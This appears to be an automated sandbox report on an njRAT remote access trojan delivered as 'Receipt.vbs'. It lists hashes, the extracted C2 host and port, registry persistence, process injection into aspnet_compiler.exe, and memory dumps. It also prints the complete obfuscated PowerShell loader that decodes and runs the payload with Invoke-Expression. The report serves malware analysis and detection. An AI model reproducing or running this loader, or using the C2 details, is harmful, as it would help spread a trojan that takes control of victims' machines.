njrat | 11850e5727c8a31ca7192fc9546050442376f7b77359f7d4e971f1f823105504

General

Target

Receipt.vbs
Size

2KB
MD5

5148319e32fa247453f35aa2ea0af0a2
SHA1

69afc36ee0cf368fb248af04df99c8aa8faba731
SHA256

11850e5727c8a31ca7192fc9546050442376f7b77359f7d4e971f1f823105504
SHA512

313fe826b3e7497313dfd15684dd6c1e459368c294db5a9fc1b9a6b6e99af441a567cf6ba649b4a973bb67bfc6ee80dd7bc0c11d70fe58981c258b63ed63f760

Score

10^/10

njrat rackspace persistence suricata trojan

Malware Config

Extracted

Family

njrat

Version

v4.0

Botnet

RackSPACE

C2

petrol-chem108.duckdns.org:40225

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 4036 powershell.exe
23 4036 powershell.exe

flow	pid	process
8	4036	powershell.exe
23	4036	powershell.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows2 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows2 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4036 set thread context of 3884 4036 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

4036 powershell.exe
4036 powershell.exe
4036 powershell.exe
4036 powershell.exe
4036 powershell.exe

description	pid	process	target process
PID 4036 set thread context of 3884	4036	powershell.exe	aspnet_compiler.exe

pid	process
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe
Token: 33	3884	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3884	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2064 wrote to memory of 4036	2064	WScript.exe	powershell.exe
PID 2064 wrote to memory of 4036	2064	WScript.exe	powershell.exe
PID 4036 wrote to memory of 756	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 756	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 756	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe
PID 4036 wrote to memory of 3884	4036	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HB='!` ~+ ~A ~$ `` `+ `^ ~^ `& `! `$ `E `A ~+ `` `^ `& `$ !0 +D !0 !& ^$ &` &` &0 +A !F !F +! +0 !E +1 += +^ !E +! +0 +0 !E +& +^ !F +1 +1 +0 +! +0 += !D ^! &= &0 ^1 &+ &+ !E &` &$ &` !& +B 0D 0A !` `~ `` ~! `^ `& `$ `E `A `D `B `` `~ `^ `& `$ `A !0 +D !0 !& ^E `~ !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D `~ ^! `+ !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B ~` !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& &` !E ~& !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !& !C !& ^C `= `~ `E !& != +B 0D 0A !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !0 +D !0 !& `` `F !A !A !A !A !A !A !A !A !A !A !A !A !A ^1 `` ~+ ~` +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E `& !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !A !A !A !A !A !A !A !A !A !A !A !A !A !& !C !& ~& ^E `C ^F !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E !& !C !& &! `= ^E !& != +B 0D 0A !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 +D !& `= ^0 `~ ~$ !$ ^E ^0 !D !D !D !D !D !D !D !D !D !D !D !D !D ^0 ^+ ^0 ~` !0 !` `~ `` ~! `^ `& `$ `E `A `D `B `` +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E `& `! `$ `E `A ~+ `` `^ `& `$ != !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& ^~ ^0 ~& ^0 !D `F ^! ^A ^0 `~ !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E !& !C !& `~ `^ `& `$ `A != !E !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !$ !` ~+ ~A ~$ `` `+ `^ ~^ !& != +B 0D 0A !^ !$ !& `= !& !B !& `~ ~$ !& != !$ !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 !D `A ^F ^= ^E !0 !& !& != &C !^ !$ !& `= !& !B !& `~ ~$ !& != +B'.Replace('!','2').Replace('`','4').Replace('^','6').Replace('+','3').Replace('~','5').Replace('&','7').Replace('$','8').Replace('=','9');Invoke-Expression (-join ($HB -split ' ' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
PID:756

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:3884

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3884-159-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/3884-169-0x0000000005DB0000-0x0000000005DB1000-memory.dmp

Filesize
4KB

Download
memory/3884-168-0x0000000005B70000-0x0000000005B71000-memory.dmp

Filesize
4KB

Download
memory/3884-167-0x0000000005BE0000-0x0000000005BE1000-memory.dmp

Filesize
4KB

Download
memory/3884-166-0x0000000005BD0000-0x0000000005BD1000-memory.dmp

Filesize
4KB

Download
memory/3884-165-0x00000000060E0000-0x00000000060E1000-memory.dmp

Filesize
4KB

Download
memory/3884-164-0x0000000005550000-0x0000000005551000-memory.dmp

Filesize
4KB

Download
memory/3884-160-0x000000000040838E-mapping.dmp

Download
memory/4036-122-0x00000272C15E3000-0x00000272C15E5000-memory.dmp

Filesize
8KB

Download
memory/4036-156-0x00000272C3870000-0x00000272C3873000-memory.dmp

Filesize
12KB

Download
memory/4036-125-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-126-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-127-0x00000272C38C0000-0x00000272C38C1000-memory.dmp

Filesize
4KB

Download
memory/4036-128-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-132-0x00000272C15E6000-0x00000272C15E8000-memory.dmp

Filesize
8KB

Download
memory/4036-143-0x00000272C15E8000-0x00000272C15E9000-memory.dmp

Filesize
4KB

Download
memory/4036-148-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-149-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-155-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-124-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-157-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-123-0x00000272C3710000-0x00000272C3711000-memory.dmp

Filesize
4KB

Download
memory/4036-115-0x0000000000000000-mapping.dmp

Download
memory/4036-161-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-121-0x00000272C15E0000-0x00000272C15E2000-memory.dmp

Filesize
8KB

Download
memory/4036-120-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-119-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-118-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-117-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download
memory/4036-116-0x00000272A79D0000-0x00000272A79D2000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads